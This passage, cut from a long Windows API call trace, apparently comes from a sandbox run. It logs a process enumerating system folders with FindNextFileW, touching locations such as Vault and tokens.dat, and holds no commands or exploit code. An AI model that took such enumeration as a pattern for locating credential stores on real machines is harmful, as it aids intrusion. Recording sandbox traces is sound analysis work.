ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0278.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.594] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0278.594] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0278.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.594] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0278.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.595] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0278.595] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.595] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 0 [0278.595] FindClose (in: hFindFile=0x6ec1f0 | out: hFindFile=0x6ec1f0) returned 1 [0278.595] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.595] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1 [0278.595] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.595] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0278.595] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.595] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4e338, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadc9b08d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xadc74e2f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4317, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxProvisioning.xml", cAlternateFileName="APPXPR~1.XML")) returned 1 [0278.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.596] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x5f8e6a3f, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6b7c9043, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClipSVC", cAlternateFileName="")) returned 1 [0278.718] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.718] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7457cd, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x1302615f, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1302615f, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Apps", cAlternateFileName="")) returned 0 [0278.718] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0278.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.719] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2032263, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GenuineTicket", cAlternateFileName="GENUIN~1")) returned 1 [0278.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.719] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f6ef001, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Import", cAlternateFileName="")) returned 1 [0278.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0278.730] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InApp", cAlternateFileName="")) returned 0 [0278.730] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0278.731] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.732] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Install", cAlternateFileName="")) returned 1 [0278.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.747] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Device", cAlternateFileName="")) returned 1 [0278.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.748] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ecf30bd, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6ecf30bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6ecf30bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="KeyHolder", cAlternateFileName="KEYHOL~1")) returned 1 [0278.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.748] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f20423e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6f7fa098, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f7fa098, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1 [0278.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.748] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f20423e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6f7fa098, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6f7fa098, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 0 [0278.748] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0278.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.748] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b51a174, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5f90cd16, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x6b7c9043, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdc870, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0278.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.750] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x33cd51d6, ftLastAccessTime.dwHighDateTime=0x1d4d5d0, ftLastWriteTime.dwLowDateTime=0x33cd51d6, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeviceMetadataCache", cAlternateFileName="DEVICE~2")) returned 1 [0278.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.751] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="downloads", cAlternateFileName="DOWNLO~1")) returned 0 [0278.751] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0278.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.754] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmrccache", cAlternateFileName="DMRCCA~1")) returned 0 [0278.754] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0278.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.754] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2129d74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DeviceMetadataStore", cAlternateFileName="DEVICE~1")) returned 1 [0278.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.755] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a24b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8fdd8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0278.755] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0278.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.755] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0278.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.755] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LfSvc", cAlternateFileName="")) returned 1 [0278.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.755] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c481, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackagedEventProviders", cAlternateFileName="PACKAG~1")) returned 1 [0278.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.755] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c80e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Parental Controls", cAlternateFileName="PARENT~1")) returned 1 [0278.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.758] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212cd78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings", cAlternateFileName="")) returned 0 [0278.758] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0278.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.759] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1516f86b, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x1516f86b, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power Efficiency Diagnostics", cAlternateFileName="POWERE~1")) returned 1 [0278.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.759] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc21e5ea3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1 [0278.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.759] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedcf5f61, ftCreationTime.dwHighDateTime=0x1d336d9, ftLastAccessTime.dwLowDateTime=0xeeb42f5b, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xeeb42f5b, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SleepStudy", cAlternateFileName="SLEEPS~1")) returned 1 [0278.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.760] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sqm", cAlternateFileName="")) returned 1 [0278.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.760] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1 [0278.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.760] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1 [0278.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.761] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 0 [0278.761] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0278.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.761] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0278.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.761] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0278.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 